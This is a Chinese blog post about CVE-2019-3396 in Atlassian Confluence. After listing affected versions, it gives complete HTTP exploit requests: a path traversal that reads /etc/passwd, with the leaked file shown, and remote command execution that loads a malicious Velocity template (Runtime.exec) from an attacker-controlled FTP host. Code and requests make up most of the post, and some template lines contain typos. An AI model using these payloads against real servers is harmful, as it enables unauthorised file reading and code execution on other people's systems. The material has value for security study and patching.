



链滴

Confluence 路径穿越和命令执行

作者: [Mrq123](#)

原文链接: <https://ld246.com/article/1615986629415>

来源网站: [链滴](#)

许可协议: [署名-相同方式共享 4.0 国际 \(CC BY-SA 4.0\)](#)

1.漏洞简介

Atlassian Confluence是企业广泛使用的wiki系统，其6.14.2版本前存在一处未授权的目录穿越漏洞，通过该漏洞，攻击者可以读取任意文件，或利用Velocity模板注入执行任意命令。

2.影响版本

Confluence 1.**、2.**、3.**、4.**、5.**

Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*

Confluence 6.6.* < 6.6.12

Confluence 6.7.*、6.8.*、6.9.*、6.10.*、6.11.*

Confluence 6.12.* < 6.12.3

Confluence 6.13.* < 6.13.3

Confluence 6.14.* < 6.14.2

3.利用过程

3.2路径穿越

payload:

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: XX.XX.XX.XX:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://XX.XX.XX.XX:8090/pages/resumedraft.action?draftId=786457&draftShareId=06b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 178
```

```
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddle.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}
```

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: XX.XX.XX.XX:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://XX.XX.XX.XX:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 178

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

</head>
<body id="com-atlassian-confluence" class="content-preview">
  <div id="main">
    <div id="content" class="page edit">
      <div class="wiki-content">
        root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        sync:x:5:0:sync:/sbin:/bin/sync
        shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
        halt:x:7:0:halt:/sbin:/sbin/halt
        mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
        operator:x:11:0:operator:/root:/sbin/nologin
        games:x:12:100:games:/usr/games:/sbin/nologin
        ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
        nobody:x:99:99:Nobody:/:/sbin/nologin
        pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM
        services:/var/lib/Pegasus:/sbin/nologin
        systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
        dbus:x:81:81:System message bus:/:/sbin/nologin
        polkitd:x:999:998:User for polkitd:/:/sbin/nologin
        apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
        unbound:x:998:995:Unbound DNS resolver:/etc/unbound:/sbin/nologin
        libstoragemgmt:x:997:994:daemon account for
        libstoragemgmt:/var/run/lsm:/sbin/nologin
        saslauthd:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
        colord:x:995:993:User for colord:/var/lib/colord:/sbin/nologin
        rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
        gluster:x:994:992:GlusterFS daemons:/run/gluster:/sbin/nologin
        abrt:x:173:173:/:etc/abrt:/sbin/nologin
        postfix:x:89:89:/:var/spool/postfix:/sbin/nologin
        rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
        pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
        radvd:x:75:75:radvd user:/:/sbin/nologin
        rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
        nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
        chrony:x:993:988:/:var/lib/chrony:/sbin/nologin
        qemu:x:107:107:qemu user:/:/sbin/nologin
```

3.2 命令执行

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: XX.XX.XX.XX:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://xx.xx.xx.xx:8090/pages/resumedraft.action?draftId=786457&draftShareId=056
55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 210
```

```
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://xx.xx.xx.xx:21/rce.vm","command":"ifconfig"}}
```

rce.vm放到ftp中

```
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(ull,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStrea
"))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end
```

具体操作在: <https://github.com/jas502n/CVE-2019-3396>